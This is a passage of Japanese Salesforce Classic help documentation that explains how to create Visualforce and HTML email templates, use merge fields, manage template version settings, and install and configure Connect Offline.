5. テンプレートを使用できるようにするには、[有効] チェックボックスをオ

ンにします。
6. [メールテンプレート名] に名前を入力します。
7. 必要に応じて、[テンプレートの一意の名前] を変更します。この一意の名前

は、Force.com API の使用時にコンポーネントを参照します。管理パッケージ
では、この一意の名前により、パッケージのインストール時に名前が競合す
ることを防ぎます。この名前は、アンダースコアと英数字のみを使用でき、
組織内で一意にする必要があります。最初は文字であること、空白は使用し
ない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使
用しないという制約があります。[テンプレートの一意の名前] 項目を使用す
ると、管理パッケージで特定のコンポーネント名を変更できます。この変更
は、登録者の組織に反映されます。

8. 必要に応じて、[文字コード]ドロップダウンリストから別の文字セットを選
択します。

9. テンプレートの説明を入力します。テンプレートの名前と説明は、内部的にのみ使用されます。
10. [メール件名] にテンプレートの件名を入力します。
11. [受信者種別] ドロップダウンリストで、テンプレートから作成されたメールを受け取る受信者の種別を選

択します。
12. [関連先種別] ドロップダウンリストで、テンプレートが差し込み項目データを取得するオブジェクトを必

要に応じて選択します。
13. [保存] をクリックします。
14. [メールテンプレートの表示] ページで、[テンプレートを編集] をクリックします。
15. Visualforce メールテンプレートのマークアップテキストを入力します。
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メモ: 画像を含める場合は、サーバ上にある画像のコピーを参照できるように [ドキュメント] タブに
アップロードすることをお勧めします。以下に例を示します。
<apex:image id="Logo"
value="https://yourInstance.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
height="64" width="64"/>

16. このメールテンプレートで使用する Visualforce および API のバージョンを指定するには、[バージョン設定]

をクリックします。AppExchangeの管理パッケージをインストールしている場合は、このメールテンプレー
トで使用する各管理パッケージのバージョンも指定できます。通常、メールテンプレートをVisualforce、API

および各管理パッケージの最新のバージョンに関連付けるために、すべてのバージョンにデフォルト値を
使用します。特定の動作を維持するには、VisualforceおよびAPIの古いバージョンを指定できます。最新バー
ジョンのパッケージのものとは異なるコンポーネントや機能にアクセスするには、管理パッケージの古い
バージョンを指定することもできます。

17. テンプレートの詳細を表示するには、[保存] をクリックします。テンプレートの編集を続行するには、[適
用]をクリックします。テンプレートを保存するには、Visualforceマークアップが有効になっている必要があ
ります。

メモ: Visualforce メールテンプレートの最大サイズは、1 MB です。
Visualforce メールテンプレートを使用して一括メール送信はできません。差し込み項目の
{!Receiving_User.field_name} と {!Sending_User.field_name} は、一括メールでのみ機能
し、Visualforce メールテンプレートでは使用できません。

ヒント:

• 選択したレコードのデータが入力されたテンプレートのサンプルを表示して、テストメールを送信す
るには、[テストの送信と差し込み項目の検証] をクリックします。メールテンプレートに暗号化デー
タが含まれる場合は、生成されるメール内、およびVisualforceテンプレートページにデータが暗号化さ
れて表示されます。セキュリティ上の理由により、プレーンテキストでは表示されません。

• 受信者または関連オブジェクトの言語に基づいて Visualforce メールテンプレートを翻訳するには、
<messaging:emailTemplate> タグの language 属性を使用します (有効な値は、「en-US」などの
Salesforce サポート言語キー)。言語属性は、メールテンプレートの recipientType および
relatedToType 属性の差し込み項目を受け取ります。差し込み項目で使用するカスタム言語項目を
作成します。メールテンプレートの翻訳には、トランスレーションワークベンチが必要です。

関連トピック:

HTML メールテンプレートの作成
カスタム HTML メールテンプレートの作成
テキストメールテンプレートの作成
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カスタム HTML メールテンプレートの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

ユーザ権限

カスタム HTML メールテン
プレートを作成または変
更する
• 「HTML テンプレート

の編集」

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

レターヘッドを使用せずに、カスタム HTML メールテンプレートを作成できま
す。HTML がわからない場合は、HTML コードをテンプレートに貼り付けることが
できます。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索]

ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選
択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。
[クイック検索]ボックスに「テンプレート」と入力し、[メールテンプレー
ト] または [私のテンプレート] の表示された方を選択します。

2. [新規テンプレート] をクリックします。
3. [カスタム HTML(レターヘッドを使用しない)] を選択し、[次へ] をクリック

します。
4. テンプレートを保存するフォルダを選択します。
5. テンプレートを使用できるようにするには、[有効] チェックボックスをオ

ンにします。
6. [メールテンプレート名] に名前を入力します。
7. 必要に応じて、[テンプレートの一意の名前] を変更します。この一意の名前

は、Force.com API の使用時にコンポーネントを参照します。管理パッケージ
では、この一意の名前により、パッケージのインストール時に名前が競合す
ることを防ぎます。この名前は、アンダースコアと英数字のみを使用でき、
組織内で一意にする必要があります。最初は文字であること、空白は使用し
ない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使
用しないという制約があります。[テンプレートの一意の名前] 項目を使用す
ると、管理パッケージで特定のコンポーネント名を変更できます。この変更
は、登録者の組織に反映されます。

8. 必要に応じて、[文字コード] ドロップダウンリストから別の文字セットを選択します。
9. テンプレートの [説明] を入力します。テンプレートの名前と説明はどちらも内部使用のみを目的としま

す。説明は、一括メール送信時にログに記録される、メール活動のタイトルとして使用されます。
10. [次へ] をクリックします。
11. メッセージの [件名] を入力します。
12. メッセージの HTML ソーステキストを入力します。すべての HTML タグを含めます。

メモ: 画像を含める場合は、[ドキュメント] タブにアップロードすることをお勧めします。アップロー
ドすると、サーバ上にある画像のコピーを参照できます。以下に例を示します。
<img src="https://yourInstance.salesforce.com/servlet/servlet.ImageServer?
id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000" alt="Company Logo"
height="64" width="64"/>
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13. 必要に応じて、テンプレートの件名と本文中に差し込み項目を入力します。メールを送信するとき、これ
らの項目は、リード、取引先責任者、取引先、商談、ケース、またはソリューションに置き換えられます。

14. [次へ] をクリックします。
15. 必要に応じて、テキストのみのメールを入力するか、[HTML 版からテキストのコピー] をクリックして、

HTML 版から HTML タグを付けないテキストを自動的に貼り付けます。テキスト版は、HTML メールを表示で
きない受信者が使用できます。

警告: テキスト版は空白のままにしておくことをお勧めします。テキスト版を空白のままにすると、
最新の HTML 版に基づいてテキスト版の内容が自動的に作成されます。内容を手動で入力した場合は、
HTML 版へのそれ以降の編集がテキスト版に反映されません。

16. [保存] をクリックします。

ヒント: 選択したレコードのデータが入力されたテンプレートのサンプルを表示して、テストメールを送
信するには、[テストの送信と差し込み項目の検証] をクリックします。

メモ: メールの利用にカスタム HTML テンプレートを選択した場合、カスタム HTML テンプレートの内容を
変更できません。

関連トピック:

Visualforce メールテンプレートの作成
メールテンプレートのコピー
HTML メールテンプレートの作成
Visualforce メールテンプレートの作成
レターヘッドの作成
メールテンプレートへの画像の追加
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HTML メールテンプレートの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

ユーザ権限

HTML メールテンプレート
を作成または変更する
• 「HTML テンプレート

の編集」

公開メールテンプレート
フォルダを作成または変
更する
• 「公開テンプレートの

管理」

レターヘッドを使用して HTML メールテンプレートを作成できます。既存のテン
プレートのレターヘッドまたはレイアウトは変更できません。HTML メールテン
プレートを作成するには、少なくとも 1 つの有効なレターヘッドが必要です。
HTML メールテンプレートを作成する手順は、次のとおりです。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索]

ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選
択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。
[クイック検索]ボックスに「テンプレート」と入力し、[メールテンプレー
ト] または [私のテンプレート] の表示された方を選択します。

2. [新規テンプレート] をクリックします。
3. [HTML(レターヘッドを使用する)] を選択し、[次へ] をクリックします。
4. テンプレートを保存するフォルダを選択します。
5. テンプレートを使用できるようにするには、[有効] チェックボックスをオ

ンにします。
6. [メールテンプレート名] を入力します。
7. 必要に応じて、[テンプレートの一意の名前] を変更します。この一意の名前

は、Force.com API の使用時にコンポーネントを参照します。管理パッケージ
では、この一意の名前により、パッケージのインストール時に名前が競合す
ることを防ぎます。この名前は、アンダースコアと英数字のみを使用でき、
組織内で一意にする必要があります。最初は文字であること、空白は使用し
ない、最後にアンダースコアを使用しない、2 つ続けてアンダースコアを使
用しないという制約があります。[テンプレートの一意の名前] 項目を使用す
ると、管理パッケージで特定のコンポーネント名を変更できます。この変更
は、登録者の組織に反映されます。

8. [レターヘッド] を選択します。レターヘッドによって、メールのロゴ、ページの色、およびテキストの設
定を決定します。既存のテンプレートでは、この項目を変更できません。テンプレートの作成後に別のレ
ターヘッドを使用するには、別のテンプレートを作成します。

9. [メールレイアウト]をクリックします。メールレイアウトは、本文の列とページレイアウトを決定します。
サンプルを確認するには、[メールレイアウトオプションの表示] をクリックします。既存のテンプレート
では、この項目を変更できません。テンプレートの作成後に別のメールレイアウトを使用するには、別の
テンプレートを作成します。

10. 必要に応じて、[文字コード] ドロップダウンリストから別の文字セットを選択します。
11. テンプレートの [説明] を入力します。テンプレートの名前と説明は、内部的にのみ使用されます。説明

は、一括メール送信時にログに記録される、メール活動のタイトルとして使用されます。
12. [次へ] をクリックします。
13. 送信するメールの件名を入力します。
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14. 任意のセクションをクリックして、メッセージのテキストを入力します。テンプレートを使用しているユー
ザがセクションを編集できないようにするには、錠アイコンをクリックします。

15. テキストを選択し、書式設定ツールバーを使用して、テキストのスタイルを変更します。
16. 必要に応じて、テンプレートの件名と本文中に差し込み項目を入力します。メールを送信するとき、これ

らの項目は、リード、取引先責任者、取引先、商談、ケース、またはソリューションに置き換えられます。
17. [次へ] をクリックします。
18. 必要に応じて、テキストのみのメールを入力するか、[HTML 版からテキストのコピー] をクリックして、

HTML 版から HTML タグを付けないテキストを自動的に貼り付けます。テキスト版は、HTML メールを表示で
きない受信者が使用できます。

警告: テキスト版は空白のままにしておくことをお勧めします。テキスト版を空白のままにすると、
最新の HTML 版に基づいてテキスト版の内容が自動的に作成されます。内容を手動で入力した場合は、
HTML 版へのそれ以降の編集がテキスト版に反映されません。

19. [保存] をクリックします。

ヒント: 選択したレコードのデータが入力されたテンプレートのサンプルを表示して、テストメールを送
信するには、[テストの送信と差し込み項目の検証] をクリックします。

関連トピック:

カスタム HTML メールテンプレートの作成
Visualforce メールテンプレートの作成
メールテンプレートへの画像の追加
レターヘッドの作成

メールテンプレートでの差し込み項目の使用に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

HTML および Visualforce
メールが使用不可能なエ
ディション: Personal
Edition

差し込み項目は、レコードから値を取り込むために、メール、メールテンプレー
ト、メールの差し込みテンプレート、カスタムリンク、数式に配置できる項目
です。カスタム HTML テンプレートの件名と本文中に差し込み項目を使用できま
す。差し込み項目を使用する場合は、差し込み項目のしくみや項目が差し込ま
れたメールへの効果について理解しておくことをお勧めします。

構文および書式設定に関するガイドライン
構文は、開き中括弧と感嘆符の後にオブジェクト名、ピリオド、項目名、およ
び閉じ中括弧と続く形式で構成されます。たとえば、受信者の取引先番号を含
める場合、「ID: {!Account.AccountNumber}」と入力すると、受信者のメー
ルには ID: 001234567890123 と表示されます。
差し込み項目の構文は、その項目をどこで使用するかによって異なります。確
実に正しい構文を使用するには、差し込み項目を使用しているエディタのドロッ
プダウンリストから差し込み項目を選択します。メールテンプレートの大部分
の差し込み項目は、メールテンプレート項目に直接対応します。
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重要:

• 複数のカスタムオブジェクトに一致する名前や表示ラベルがある場合、[使用可能な差し込み項目] か
ら選択するときにいずれか 1 つのオブジェクトのみが表示されます。どのオブジェクトからも差し込
み項目を選択できるように、すべてのカスタムオブジェクトの項目名と表示ラベルが一意であるよう
にしてください。

差し込み項目の使用に関するガイドライン
一般情報

• メールテンプレートの件名またはテキストメールテンプレートの本文には、ハイパーリンク数式項目を
使用しないでください。

• メールテンプレートでは、差し込み項目に代替テキストを追加できます。その項目に対するデータが差
し込みレコードに含まれていない場合、送信されたメールで代替テキストが表示されます。代替テキス
トを追加するには、項目名の後ろにカンマを入れ、閉じ括弧の前にテキストを入力します。たとえば、
Dear {!Contact.FirstName, Valued Customer}のようになります。テンプレートを保存すると、
差し込み項目が Dear {!BLANKVALUE(Contact.FirstName, "Valued Customer")} のようにテン
プレートに表示されます。この例では、取引先責任者レコードの [名] 項目に情報がない場合、テンプ
レートを使用して作成したメールは「Dear Valued Customer (ご利用のお客様へ)」で開始します。

• 差し込み項目の {!Receiving_User.field_name}と {!Sending_User.field_name}は、一括メー
ルでのみ機能し、Visualforce メールテンプレートでは使用できません。

• ユーザ項目は、システム管理者および「ユーザの管理」権限を持つユーザ用の [送信ユーザ] 項目とし
ても知られています。この項目は、メールの送信者を参照するときにメールテンプレートで使用しま
す。

• システム管理者、および「ユーザの管理」権限を持つユーザは、受信ユーザの差し込み項目をメールテ
ンプレートの代わりに使用して、メールの受信者を参照できます。

• [作成日] 項目と [最終更新日] 項目には、日付と時間の両方ではなく、日付のみが表示されます。
• 特定のレコードに対するデータがない差し込み項目がテンプレートに存在する場合、その項目は送信し

たメールには表示されません。空白の項目を検索するには、テンプレートで使用している差し込み項目
を検索するように受信者リストのビューを編集し、検索条件に「<項目>」「次の文字列と一致する」と
入力し、検索条件値を空白のままにします。メールを送信する前に、空白項目のあるレコードを編集し
てください。

取引先
取引先の差し込み項目がメールテンプレートに用意されており、取引先責任者が [宛先] 項目に追加され
た後にこのテンプレートを選択すると、取引先の差し込み項目には、ケースの取引先ではなく、取引先責
任者の取引先から情報が入力されます。

キャンペーン
• キャンペーンおよびキャンペーンメンバーの差し込み項目は、メールテンプレートでは使用できます

が、差し込み印刷テンプレートでは使用できません。
• キャンペーンメンバーの差し込み項目は、同じメールテンプレートの他のタイプの差し込み項目と一緒

には使用できません。たとえば、キャンペーンメンバーの差し込み項目を使用してメールテンプレート
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を作成し、受信者の役職を含める場合、{!Lead.Title} または {!Contact.Title} の代わりに
{!CampaignMember.Title} を使用します。

ケース
メール-to-ケースまたはオンデマンドメール-to-ケースを有効化している場合、サポートエージェントがケー
スのメールに返信するために使用できるメールテンプレートを作成できます。これらのテンプレートには、
返信元のメールの情報を表示する差し込み項目を入れることができます。

接続ファインダ
カスタムメールテンプレートには調査 URL を含める必要があります。テンプレートの作成時に、
{!Contact.PartnerSurveyURL} が取引先の差し込み項目として使用可能です。

取引先責任者
• Salesforce Classic では、取引先責任者の差し込み項目を使用したテンプレートは、リード向けの差し込み

印刷ドキュメントの作成に使用できます。同様に、リード項目を使用したテンプレートは、取引先責任
者向けの差し込み印刷ドキュメントの作成に使用できます。

• 取引先責任者またはリードのカスタム項目は、Salesforce Classic および Lightning Experience で差し込みに使
用できますが、カスタム項目の元のオブジェクト向けのドキュメントにのみ使用できます。たとえば、
カスタムリード項目は、リード向けのテンプレートにのみ使用できます。

商談
商談品目の差し込み項目は、商品を有効にしている組織でのみ使用可能で、差し込み印刷テンプレートで
は使用できますが、メールテンプレートでは使用できません。

注文
メールテンプレート内の注文での商品の差し込み項目はサポートされていません。

ワークフロー
メールテンプレートのユーザレコードの差し込み項目を使用する場合、次の差し込み項目の種別から選択
します。
• ユーザの項目 — これらの差し込み項目は、送信ユーザを表すために使用します。{!User.field_name}

という名前の差し込み項目では、ワークフロールールをトリガしたレコードを作成または更新したユー
ザのユーザレコードの値が返されます。

• ワークフロー対象ユーザ項目 — これらの差し込み項目は、ユーザオブジェクトのワークフロールール
のメールテンプレートでのみ使用します。{!Target_User.field_name} という名前の差し込み項目
では、ワークフロールールをトリガするために作成または更新されたユーザレコードの値が返されま
す。

このリリースには、User オブジェクトのワークフローのベータバージョンが含まれています。本番品質で
はありますが、既知の制限があります。フィードバックや提案を送信する場合は、「IdeaExchange」に移動
してください。

関連トピック:

レコードからのメール生成
承認の差し込み項目
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Visualforce メールテンプレートの差し込み項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

差し込み項目は、メールテンプレート、メールの差し込みテンプレート、カス
タムリンク、またはレコードの値を投入する数式を入力できる項目です。

構文および書式設定
Visualforce メールテンプレートの差し込み項目は、数式と同じ表現の言語を使用
します。

{!Object_Name.Field_Name}

たとえば、メールテンプレートを Hello, {!Contact.FirstName}から開始できます。このテンプレートを
送信すると、各受信者が受信したメールには差し込み項目の代わりに受信者の名前が表示されます。受信者の
名前が John である場合、メールを開くと Hello, John! と表示されています。

ヒント
• Visualforceメールテンプレートを使用して一括メール送信はできません。{!Receiving_User.field_name}

と {!Sending_User.field_name}は一括メールに使用され、Visualforceメールテンプレートには使用でき
ません。

• 受信者または関連オブジェクトの言語に基づいて Visualforce メールテンプレートを翻訳するには、
<messaging:emailTemplate>タグの言語属性を使用します。有効な値は、Salesforceがサポートする言語
キー (英語 (US) を示す「en-us」など) です。言語属性は、メールテンプレートの recipientType および
relatedToType 属性の差し込み項目を受け取ります。差し込み項目で使用するカスタム言語項目を作成
します。メールテンプレートの翻訳には、トランスレーションワークベンチが必要です。

関連トピック:

Visualforce メールテンプレートの作成
レコードからのメール生成
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差し込み印刷テンプレートの差し込み項目を使用する場合の考慮事項

エディション

この機能は、Salesforce
Classic で使用可能です。

使用可能なエディション:
すべてのエディション

差し込み項目は、レコードから値を取り込むために、メール、メールテンプレー
ト、メールの差し込みテンプレート、カスタムリンク、数式に配置できる項目
です。差し込み項目を使用する場合、そのしくみと、差し込み印刷したドキュ
メントがどのようになるのかを理解しておくことをお勧めします。

構文および書式設定に関するガイドライン
差し込み印刷テンプレートは、ドキュメントをデスクトップからSalesforceにアッ
プロードして作成します。これらの差し込み項目の構文は、OBJECT_FIELD_NAME

または FIELD_NAME です。差し込み印刷テンプレートの差し込み項目は、次の条件を満たす必要があります。
• 一意である
• 文字、数字、アンダースコア (_) 文字のみが含まれている
• 40 文字以下である
例: AccountNumber確実に正しい構文を使用するには、Connect for Officeを使用して差し込み項目を差し込み印
刷テンプレートに挿入します。

差し込み項目の互換性
• Salesforce Classicでは、取引先責任者の差し込み項目を使用したテンプレートは、リード向けの差し込み印刷

ドキュメントの作成に使用できます。同様に、リード項目を使用したテンプレートは、取引先責任者向け
の差し込み印刷ドキュメントの作成に使用できます。

• 取引先責任者またはリードのカスタム項目は、Salesforce ClassicおよびLightning Experienceで差し込みに使用で
きますが、カスタム項目の元のオブジェクト向けのドキュメントにのみ使用できます。たとえば、カスタ
ムリード項目は、リード向けのテンプレートにのみ使用できます。

• Salesforce Classicの場合、商談の差し込み印刷では、取引先責任者の差し込み項目を使用して、関連する取引
先責任者についての付加的な情報を差し込むことができます。

• Salesforce Classicの場合、商談の商品の差し込み項目は、有効な商品を所有している組織のみ使用できます。
商談の商品の差し込み項目は、Lightning Experience では使用できません。

• Salesforce Classicの場合、承認プロセスの差し込み項目は、メールテンプレートでは使用できますが、差し込
み印刷テンプレートでは使用できません。承認プロセスの差し込み項目は、Lightning Experience では使用で
きません。

• キャンペーンおよびキャンペーンメンバーの差し込み項目は、差込印刷テンプレートでは使用できません。

関連トピック:

差し込み印刷
レコードからのメール生成
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Visualforce メールテンプレートのバージョン設定の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一括メール送信が使用不
可能なエディション:
Personal Edition、Contact
Manager Edition、および
Group Edition

ユーザ権限

Visualforce メールテンプ
レートのバージョン設定
を行う
• 「アプリケーションの

カスタマイズ」

下位互換性を持たせるため、各 Visualforceメールテンプレートは特定のバージョ
ンの Visualforce および API のバージョン設定で保存されます。Visualforce メールテ
ンプレートがインストール済みの管理パッケージを参照する場合、Visualforce コ
ンポーネントが参照する各管理パッケージのバージョン設定も同時に保存され
ます。そのため、Visualforce、API、および管理パッケージのコンポーネントが次
のバージョンにアップグレードされても、Visualforce メールテンプレートは、特
定の、既知の動作のバージョンにこれまでどおりバインドされます。
パッケージバージョンは、パッケージでアップロードされる一連のコンポーネ
ントを特定する番号です。バージョン番号の形式は
majorNumber.minorNumber.patchNumber  (例: 2.1.3) です。メジャー番号とマ
イナー番号は、メジャーリリースのたびに指定した値に増えます。patchNumber

は、パッチリリースにのみ生成および更新されます。公開者は、パッケージバー
ジョンを使用して後続のパッケージバージョンをリリースすることにより、管
理パッケージのコンポーネントを適切にアップグレードできます。そのパッケー
ジを使用する既存の顧客のインテグレーションに影響を与えることもありませ
ん。
既存の Visualforce メールテンプレートに Salesforce API および Visualforce のバージョ
ンを設定する手順は、次のとおりです。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索]

ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選
択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。
[クイック検索]ボックスに「テンプレート」と入力し、[メールテンプレー
ト] または [私のテンプレート] の表示された方を選択します。

2. Visualforce メールテンプレートの [メールテンプレート名] をクリックします。
3. [テンプレートを編集] をクリックし、さらに [バージョン設定] をクリックします。
4. Salesforce API の[バージョン]を選択します。このバージョンは、このテンプレートで使用する Visualforce の

バージョンでもあります。
5. [保存] をクリックします。
Visualforce メールテンプレートのパッケージバージョンの設定を行う手順は、次のとおりです。
1. 次のいずれかの操作を実行します。

• 公開テンプレートの編集権限がある場合は、[設定] から [クイック検索] ボックスに「メールテンプレー
ト」と入力し、[メールテンプレート] を選択します。

• 公開テンプレートを編集する権限がない場合は、個人設定に移動します。[クイック検索] ボックスに
「テンプレート」と入力し、[メールテンプレート] または [私のテンプレート] の表示された方を選択し
ます。

2. Visualforce メールテンプレートの [メールテンプレート名] をクリックします。
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3. [テンプレートを編集] をクリックし、さらに [バージョン設定] をクリックします。
4. Visualforce メールテンプレートから参照される各管理パッケージの [バージョン] を選択します。管理パッ

ケージのこのバージョンは、管理パッケージのより新しいバージョンがインストールされても、バージョ
ン設定を手動で更新しない限り、Visualforce メールテンプレートで引き続き使用されます。インストール済
み管理パッケージを設定リストに追加するには、使用可能なパッケージのリストからパッケージを選択し
ます。リストは、Visualforceメールテンプレートにまだ関連付けられていないインストール済み管理パッケー
ジがある場合にのみ表示されます。

5. [保存] をクリックします。
パッケージバージョン設定を使用する場合は、次のことに注意してください。
• 管理パッケージのバージョンを指定せずに、管理パッケージを参照するVisualforceメールテンプレートを保

存する場合、Visualforce メールテンプレートは、デフォルトで、管理パッケージの最新のインストールバー
ジョンに関連付けられます。

• パッケージを Visualforce メールテンプレートで参照している場合は、Visualforce メールテンプレートのバー
ジョン設定は [削除] できません。

関連トピック:

Visualforce メールテンプレートの作成
テキストメールテンプレートの作成
HTML メールテンプレートの作成
カスタム HTML メールテンプレートの作成
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Connect Offline

デスクトップクライアントアクセス

エディション

Connect Offline を使用可能
なエディション: Salesforce
Classic

Connect Offline を使用可能
なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Connect for Office を使用可
能なエディション:
Salesforce Classic と
Lightning Experience の両方

Connect for Office を使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

Connect Offline および Connect for Office は、Salesforce とご使用の PC を統合するデス
クトップクライアントです。システム管理者として、更新が可能な場合に自動
的にユーザに通知されるかどうか、ユーザがどのデスクトップクライアントに
アクセスできるかを制御できます。
Salesforce for Outlook の権限を設定するには、「メールクライアント設定の管理」
権限を使用します。
プロファイルを編集することでデスクトップクライアントへのユーザのアクセ
スを設定できます。
デスクトップクライアントアクセスのオプションは次のとおりです。

意味オプション

ユーザの個人設定の各クライアントのダウン
ロードページは表示されません。また、ユー
ザはクライアントからログインできません。

オフ (アクセス拒否)

ユーザの個人設定の各クライアントのダウン
ロードページは表示されません。ユーザはク
ライアントからログインできますが、現在の
バージョンからアップグレードできません。

オン、更新なし

ユーザはクライアントのダウンロード、ログ
イン、アップグレードを実行できますが、新

オン、アラートなしの更新

しいバージョンを使用できるときのアラート
は表示されません。

ユーザはクライアントのダウンロード、ログ
イン、アップグレードを実行できます。更新

オン、アラートありの更新

アラートが表示され、このアラートをフォロー
または無視できます。

ユーザはクライアントのダウンロード、ログ
イン、アップグレードを実行できます。新し

オン、更新必須 (アラートあり)

いバージョンを使用できるようになると、更
新アラートが表示されます。アップグレード
されるまで、クライアントからログインでき
ません。

Connect Offline は、Developer Edition と併用できる唯一のクライアントです。Personal Edition、Group Edition、Professional

Edition では、すべてのユーザにすべてのクライアントの「オン、通知なし、更新可」がデフォルトで付与され
ています。
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メモ:

• デスクトップクライアントアクセスは、「API の有効化」権限がプロファイルに設定されたユーザのみ
が使用できます。

ユーザがアラートを確認できる場合、過去にクライアントからSalesforceにログインしたことがあれば、新しい
バージョンが使用できるようになったときにアラートバナーが自動的に [ホーム] タブに表示されます。バナー
をクリックすると、[更新の確認] ページが表示され、ユーザはインストーラファイルをダウンロードし、実行
できます。アラートが発生したかどうかに関係なく、ユーザは個人設定から[更新の確認]ページにアクセスす
ることもできます。

Connect Offline のインストール

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Connect Offline でレコード
を参照する
• 取引先や取引先責任

者、商談など、該当す
るレコードタイプに対
する「参照」

Connect Offline でレコード
を更新する
• 取引先や取引先責任

者、商談など、該当す
るレコードタイプに対
する「作成」、「編
集」または「削除」

Connect Offline ライセンスの割り当て
Professional Edition、Performance Edition、Unlimited Edition、Enterprise Edition、および
Developer Edition を使用している Salesforce 組織には、Salesforce ライセンス 1 つにつ
き Connect Offline ライセンスが 1 つ提供されます。Connect Offline ライセンスを持
たないユーザは、30 日間のトライアル期間中使用できます。
Connect Offline ライセンスを組織内のユーザに割り当てるには、ユーザのレコー
ドを編集し、[オフラインユーザ] チェックボックスをオンにします。Force.com

Connect Offline を使用するには、ユーザはこのチェックボックスがオンになって
いる必要があります。

システム要件の確認
Connect Offline のシステム要件は次のとおりです。
• Microsoft® Internet Explorer® 6、7、または 8 (Mozilla® Firefox®、Apple® Safari®、および

Google Chrome™ などの他のブラウザはサポートされません)

• Microsoft Windows® 2000、Windows XP、Windows Vista®、または Windows 7

メモ: これらのオペレーティングシステムの 64 ビットバージョンでは、
互換性のある表示機能を持つ Internet Explorer 8 の 32 ビットバージョンが
必要です。

• 256 MB の RAM (推奨: 512 MB)

• 最低 20 MB のハードディスク空き容量 (ブリーフケースのサイズによっては最
低 250 MB を推奨)

• Intel® Pentium® II プロセッサ、500 MHz 以上

個々のクライアントのインストール
Connect Offline クライアントをダウンロードし、インストールする手順は、次のとおりです。
1. [個人設定] から、[クイック検索]ボックスにConnect Offlineと入力し、[Connect Offline]を選択します。
2. [今すぐインストール] をクリックします。
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メモ: Connect Offline をインストールするコンピュータに対して、管理者権限を持っている必要があり
ます。

3. クライアントをインストールして実行するかどうかの確認メッセージが表示されたら、[はい] をクリック
します。

4. 設定ウィザードの指示に従ってインストールを完了します。
5. インストールを確認するため、Connect Offline にログインします。

Connect Offline を全システムに展開
組織で Windows を使用している場合、ネットワーク管理者は一度に数台のコンピュータにConnect Offlineをイン
ストールできます。一括して展開するには、個人設定のConnect Offlineページに移動し、リンクをクリックして
ZIP 圧縮された MSI パッケージをダウンロードします。

ヒント: ログイン履歴には、各ユーザが使用する Connect Offline のバージョンが一覧表示されます。

Connect Offline の更新
Salesforce では、定期的に Connect Offline のアップデートをリリースし、ユーザのプロファイルの設定に応じて
ユーザに通知しています。

関連トピック:

デフォルトの Connect Offline ブリーフケースの中身とは?

Connect Offline で使用可能なタブ
Connect Offline をトラブルシューティングする

オフラインデータセットのサンプル
通常、同じグループのユーザはデータのオフライン要件が似ていることから、システム管理者の多くは、ブ
リーフケース設定を組織の機能グループに基づいて作成します。以下に示すサンプルデータセットは、Salesforce

グループに共通のものです。Connect Offlineユーザには固有のニーズがありますが、ブリーフケース設定でデー
タセットの使用を開始するにあたっては、この例が参考になります。

営業マネージャ
営業マネージャは、通常、自分が所有するレコードの他に部下のレコードも参照する必要があります。また、
パイプラインにある重要商談を細かく監視する傾向にあります。
このブリーフケース設定により営業マネージャが参照できるレコードは次のとおりです。
• 自分が所有する商談
• ロール階層内でその営業マネージャに報告するユーザが所有する商談
• $100,000 を超える金額の現四半期中に完了予定のすべての商談
• 商談に関連するすべての取引先
• 取引先責任者レコードと活動レコードのサブセット
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営業担当技術者
営業担当技術者のブリーフケース設定は、そのユーザの商談チームの他のメンバーが所有する商談を検索しま
すが、ユーザのレコードは含まれません。ブリーフケースに含まれるすべての取引先と取引先責任者がその商
談に関連するため、営業担当技術者のブリーフケース設定は商談ベースです。営業担当技術者が参照できるレ
コードは次のとおりです。
• 自分が所有する商談 5000 件まで、および商談チームのリストに名前がある商談 5000 件まで。これらの商談

は、進行中か、または完了予定日が今月、過去 2 か月、24 か月先までのどれかになります。5000 件を超え
るレコードがある場合は、最近変更した 5000 件のレコードが同期化されます。

• それらの商談に関連するすべての取引先、取引先責任者、および商談商品
• これらの商談に関連する ToDo と行動のサブセット

アカウントエグゼクティブ
アカウントエグゼクティブのブリーフケース設定は、取引先ベースです。つまり、ブリーフケースには、ユー
ザの取引先と、その取引先に関連する商談が含まれます。商談は、条件検索により、現四半期中に完了予定の
進行中の商談のみが同期化されます。[ToDo と行動] の子データセットでは、ユーザの活動だけでなく、それら
